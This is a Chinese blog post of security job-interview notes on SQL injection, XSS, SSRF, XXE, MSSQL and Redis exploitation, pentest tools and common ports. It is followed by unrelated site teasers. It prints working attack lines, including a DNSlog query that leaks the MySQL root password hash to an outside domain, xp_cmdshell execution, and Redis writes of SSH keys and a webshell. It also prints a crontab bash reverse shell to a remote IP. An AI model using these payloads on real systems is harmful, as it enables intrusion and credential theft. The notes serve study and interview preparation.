安全面试总结1

这是我在面试中被问到一些问题,主要偏向基础知识,如有错误,还望指正。

1. sql注入

1. 原理

攻击者通过构造一些恶意的SQL语句,让后台的数据库去解析,从而达到入侵目标网络,获取敏感信息

2. sql注入分类

  1. 主要分为以下两类:
  • 数字型
  • 字符型
  1. 细分的话可以分为:
  • 联合查询注入
  • 多语句查询注入
  • 报错注入
  • 布尔型注入
  • 基于时间延迟注入
  • 宽字节注入
  • 等等

3. 利用方式

  1. 主要分为以下三类:
  • 查询数据
  • 读写文件
  • 执行命令

4. 报错注入可以利用的函数

  1. 利用floor()函数
mysql> select * from users where id = 1 and (select 1 from (select count(*),concat(0x7e,database(),0x7e,floor(rand(0)*2))a from information_schema.tables group by a)b);
  1. 利用updatexml()函数
mysql> select * from users where id = 1 and updatexml(1,concat(0x7e,database(),0x7e),1);
  1. 利用extractvalue()函数
mysql> select * from users where id = 1 and extractvalue(1,concat(0x7e,database(),0x7e));

ps:如果concat被过滤,则可能使用make_set函数来实现

mysql> select * from users where id = 1 and updatexml(1,make_set(3,0x7e,database()),1);
mysql> select * from users where id = 1 and extractvalue(1,make_set(3,0x7e,database()));
  1. 利用join()函数
mysql> select * from(select * from users a join users b)c;
  1. 利用几何函数
    例如geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring()
and geometrycollection((select * from(select * from(select user())a)b));
  1. 利用exp()函数
select exp(~(select*from(select database())x));

5. 报错注入函数有哪些限制要求

  1. floor函数()
    需要同时满足floor(rand(0)*2),count(*),group by这三个函数
    • updatexml()和extractvalue()函数
      mysql5.1.5,最多爆出32位的
    • exp()函数
      在MySQL版本大于等于5.5.5的的时候才能用户

6. sql注入读写文件

  1. load_file()
  • 必须有权限读取并且文件必须完全可读。
    and (select count(*) from mysql.user)>0 /*如果结果返回正常,说明具有读写权限.*/
    and (select count(*) from mysql.user)>0 /*返回错误,应该是管理员给数据库账户降权了*/
    高版本的MYSQL添加了一个新的特性secure_file_priv
    
    • 欲读取文件必须在服务器上
    • 必须指定文件完整的路径
    • 欲读取文件必须小于max_allowed_packet
  • into outfile()和into dumpfile()
    into outfile导出每行记录,会在每行末尾加新行,会转义换行符,二进制文件会被破坏;而dumpfile()导出一个完整能执行的二进制文件

7. sql防御

  1. 参数过滤
  2. 预编译处理
  3. ODBC
  4. PDO

8. 解释下sql预编译处理

  1. 执行预编译语句
  2. 设置变量
  3. 执行语句

先执行了sql语句,再把参数传入,即使参数有sql命令也不会被执行

9. sql过滤绕过

  1. 过滤空格
  • 用双空格代替
  • 用注释符号/**/代替
  • 用Tab代替
  • 用%a0代替
  • 用括号代替
  1. 过滤等号
  • 用like代替
  • 用in代替
  • 用<或者>代替
  1. 过滤引号
  • 引号内容加上引号使用十六进制
  1. 过滤尖括号
  • 用between函数
  • 用greatest函数
  • 用leatest函数
  1. 过滤逗号
  • 用from for代替
  • limit中用offset代替
  • 用join代替
  • 用like代替
  1. 过滤or,and
  • and=&&
  • or=||
  1. 过滤注释符号
  • id=1'union select 1,2,3||'1
  • id=1'union select 1,2,'3
  • ;%00截断
  1. 过滤符号
  • 采取编码

10. DNSlog注入限制

必须是Windows系统,使用的load_file函数

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 0,1),'.b182oj.ceye.io\\abc’));

11. MySQL提权

  1. udf提权

    • udf概念
      UDF(用户定义函数)是一类对MYSQL服务器功能进行扩充的代码。
    • 适用场合
      • 目标主机系统是Windows。
      • 拥有该主机mysql中的某个用户账号,该账号需要有对mysql的insert和delete权限。
    • 注意事项
      • mysql版本大于等于5.1 udf.dll需要导入到plugin_dir目录
      • mysql版本小与5.1 udf.dll需要导入到C:\windows\目录
    • 使用sql语句创建功能函数
    create function shell returns string soname 'udf.dll' 
    
  2. mof提权

    • mof概念
      mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)
    • 步骤
      • 将mof上传至任意可读可写目录下,假如传到D:\wamp\下命名为:test.mof。也就是:D:\wamp\test.mof
      • 然后使用sql语句将系统当中默认的nullevt.mof给替换掉。进而让系统执行我们这个恶意的mof文件。
      • 替换的sql语句:select load_file('D:\wamp\test.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

2. XSS攻击

1. XSS分类

  1. 反射型XSS
  2. 存储型XSS
  3. DOM型XSS

2. 它们的差别

  1. 反射型XSS和存储型XSS都是服务端代码漏洞
  2. 存储型XSS会在服务端存储输入的内容
  3. DOM型XSS是前端代码漏洞

3. XSS危害

  1. 偷取用户Cookie
  2. 弹出广告
  3. 网络钓鱼

4. XSS过滤

  1. 大小写混写
  2. 多重嵌套
  3. 宽字节绕过

5. XSS一般会用到哪些标签

1. <javascript>
2. <iframe src=http://xxxx.xx>
3. <img src=javascript:alert('xss')>
4. <body onload=alert('xss')>
5. <body background=javascript:alert('xss')>
6. <input type="image" src="javascript:alert('xss')">
7. ...

6. XSS有效的绕过手段

  1. href属性中的伪协议
<a href=javascript:alert('/a/')>adas</a>
  1. 利用HTML5新增标签
<math>标签
<embed>标签
  1. 利用DataUrl协议,引用外域的资源

7. 有哪些XSS环境

  1. XSS输出在HTML中的情况
  2. XSS输出在HTML属性中的情况
  3. XSS输出在script标签中的情况
  4. XSS在input value中的情况
  5. XSS输出在textarea中的情况
  6. XSS通过innerHTML输出的情况
  7. XSS通过eval执行的情况
  8. XSS Flash
  9. ...

8. 防护

  1. 过滤+实体化编码
    常用htmlspecialchars()函数进行编码
  2. 设置httponly

3. 请求伪造漏洞与防护

1. CSRF的防护方案

  1. 添加验证过程
  2. 添加验证码
  3. 验证referer
  4. 利用token

2. SSRF可实现的攻击效果

  1. 对内网web应用特征进行发现
  2. 对服务器所在内网进行各类信息探测
  3. 利用file协议读取本地文件
  4. 针对特定目标进行攻击时隐藏攻击发起地址

3. SSRF常见绕过技巧

  1. 利用@符号
  2. 利用localhost
  3. 利用短地址
  4. 利用特殊域名
如 10.0.0.1.Xip.io = 10.0.0.1
  1. 利用DNS解析
  2. 利用Enclosed alphanumerics
  3. 利用。
  4. 利用进制转换
127.0.0.1 = 2130706433D = 7F000001
  1. 其他协议
  • dict://
dict://<user-auth>@<host>:<port>/d:<word>
  • SFTP://
ssrf.php?url=sftp://example.com:11111/
  • TFTP://
ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
  • LDAP://
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
  • Gopher://
  • file://

4. 渗透工具

1. sqlmap

  1. --os-shell解析
    用into outfile函数写一个上传页面,执行条件有三个:
    • 网站必须是root权限
    • 攻击者需要做的网站的绝对路径
    • GPC为off,php主动转义的功能关闭

2. brupsuite

  1. Intruder模块--暴力破解
  • 模块组成
    • Target 用于配置目标服务器进行攻击的详细信息
    • Positions 设置Payloads的插入点以及攻击类型(攻击模式)
    • Payloads 设置payload,配置字典
    • Opetions
  • 攻击模式
    • sniper
      对变量依次进行爆破,多个标记依次进行
    • battering ram
      对变量同时进行破解,多个标记同时进行
    • pitchfork
      每一个变量标记对应一个字典,取每个字典的对应项
    • cluster bomb
      每个变量对应一个字典,并且进行交集破解,尝试各种组合,适用于用户名+密码破解

5. 中间件

1. MSSQL利用

  1. MSSQL差异备份
  • 完整备份一次:
backup database 库名 to disk = 'c:\aa.bak';-- 
  • 创建:
create table [dbo].[dtest] ([cmd] [image]);-- insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E);--
  • 进行差异备份:
backup database test to disk='c:\aa.bak' WITH DIFFERENTIAL,FORMAT;--
  1. MSSQL-xp_cmdshell利用
  • open:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
  • exec:
exec master..xp_cmdshell 'whoami'
  • close:
EXEC sp_configure 'show advanced options', 0;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
  1. MSSQL job

2. redis综合利用

  1. 未授权写入SSH公钥
    利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接使用对应的私钥登录目标服务器。
  • 在本地生产公私钥文件
$ssh-keygen –t rsa
  • 然后将公钥写入 foo.txt 文件
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
  • 再连接 Redis 写入文件
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /root/.ssh/
OK
$ 192.168.1.11:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.1.11:6379> save
OK
  1. 未授权写入WebShell
config set dir /home/wwwroot/default/
config set dbfilename redis.php
set webshell "<?php phpinfo(); ?>”
save
  1. 未授权写入Crontab计划任务
# redis-cli -h 192.168.1.20
192.168.1.20:6379>CONFIG SET dir /var/spool/cron 
OK
192.168.1.20:6379>CONFIG SET dbfilename root   
OK
192.168.1.20:6379>set payload "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.1.160/9999 0>&1\n\n"
OK
192.168.1.20:6379>save 
OK
192.168.1.20:6379>exit

6. 常用端口

端口 服务 说明
21 FTP 主要看是否支持匿名,也可跑弱口令
22 SSH 弱口令爆破
23 Telnet 弱口令爆破
80-90 Web 常见Web漏洞以及一些为管理后台
135 RPC 通过远程调用执行代码
137 NetBIOS 获取目标计算机的相关信息
161 Snmp public弱口令
389 Idap 是否为匿名访问
443 Openssl 心脏出血以及一些Web漏洞测试
445 Smb 跑弱口令,检测是否有ms_08067等溢出
873 Rsync 是否为匿名访问,也可以跑弱口令
1025 Listen port 获取Windows网络的服务器信息与用户信息
1099 Java rmi 远程命令执行漏洞
1433 Mssql 弱口令爆破
1521 Oracle 弱口令爆破
2082/2083 Cpanel主机管理系统登录 弱口令爆破
2222 DA虚拟主机管理系统登录 默认密码zebra
2601/2604 zebra路由器 说明
3128 Squid代理默认端口 如果没设置口令很可能 就直接漫游内网
3306 Mysql 弱口令爆破
3312/3311 Kangle主机管理系统登陆 说明
3389 RDP 弱口令爆破,SHIFT后门,放大镜,输入法漏洞
4440 Rundeck Web
4848 GlassFish Web中间件 弱口令admin/adminadmin
5432 Postgres 弱口令爆破
5560/7778 iSqlPlus
5900/5901/5902 Vnc 弱口令爆破
6379 Redis 一般无验证,直接访问
7001/7002 Weblogic 弱口令爆破
7778 Kloxo主机控制面板登录
8080 Tomcat/Jboss 弱口令爆破,jboss后台可能不验证
8649 Ganglia
8080-8090 常见WEB端口
8888 Amh/LuManager 主机管理系统默认端口 说明
9000 Fcgi fcgi php命令执行漏洞
9200 Elasticsearch 代码执行
9043 Websphere 弱口令爆破
10000 Virtualmin/Webmin 服务器虚拟主机管理系统
11211 Memcache 内存泄露
27017/28017 Mongodb 未授权访问
50060/50030 Hadoop WEB

7. XXE

1. XXE介绍

XXE全称XML外部实体注入(XML External Entity)形成的原因大都是由于允许引用外部实体。

2. XXE危害

  1. 读取任意文件
  2. 执行系统命令
  3. 探测内网端口
  4. 攻击内网网站
  5. ...

3. 调用

  1. 通过&来调用实体值
  2. 外部调用在实体后面加SYSTEM
  3. 如果实体前加了%,那么调用实体时也需要使用%

8. 内网基础

1. 端口转发及代理类

  1. pipe:windows下面的端口转发软件,比较老牌的工具,使用场景有限。
  2. sockscap:老牌的socks代理工具,主要针对windows平台的端口转发和代理转发。
  3. proxifier:跨平台的端口转发和代理工具,适用windows,linux,Macos平台,代理转发利器
  4. Rsscoks:linux平台下的端口转发和代理工具,配合proxychains好用到不行。
  5. Proxychains:linux平台下老牌的socks代理工具,一般的系统都会自带,谁用谁知道。
  6. ssh proxy:通过ssh做端口代理和转发,一般linux系统都自带。
  7. netcat:socat,hping,在很多情况下可以做端口转发和数据代理转发。
  8. metasploit:metasploit的后渗透模块中有不少代理模块和端口转发模块。

2. 正向代理和反向代理

  1. 正向代理
    就是client连上server,然后把server能访问的机器地址和端口(当然也包括server自己)镜像到client的端口上。

  2. 反向代理
    就是client连上server,然后把client能访问的机器地址和端口(也包括client自己)镜像到server的端口上。

  3. 用ssh做socks代理
    ssh -D [本地IP或省略]:[本地端口] [登陆服务器的用户名@服务器IP] -p [服务器ssh服务端口(默认22)]

  4. 区别

  • 位置不同
    正向代理,架设在客户机和目标主机之间;
    反向代理,架设在服务器端;
  • 代理对象不同
    正向代理,代理客户端,服务端不知道实际发起请求的客户端;
    反向代理,代理服务端,客户端不知道实际提供服务的服务端;
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,029评论 6 492
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,395评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,570评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,535评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,650评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,850评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,006评论 3 408
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,747评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,207评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,536评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,683评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,342评论 4 330
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,964评论 3 315
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,772评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,004评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,401评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,566评论 2 349

推荐阅读更多精彩内容

  • 一套实用的渗透测试岗位面试题,你会吗? 1.拿到一个待检测的站,你觉得应该先做什么? 收集信息 whois、网站源...
    g0阅读 4,818评论 0 9
  • DVWA实践 Web漏洞原理 1. DVWA环境搭建 Warmpserver+DVWA 2. Brute Forc...
    JasonChiu17阅读 3,742评论 0 19
  • 攻击活动 SQL(结构化查询语言)注入 概述 一个SQL注入攻击包含了从应用客户端的输入数据中注入或嵌入的方式,一...
    夏夜星语阅读 903评论 0 0
  • web攻击技术:SQL技术(脚本注入攻击)、XSS攻击(跨站脚本攻击)、上传漏洞(文件上传) 网站结构:登录页面 ...
    minlover阅读 2,332评论 0 4
  • 望着窗外一闪而过的景色,知道地铁在行驶着。只想好好看着,想看看风景,甚至有那么一刻希望,地铁停下来,我可以静静的坐...
    行百里者半九十阅读 242评论 0 0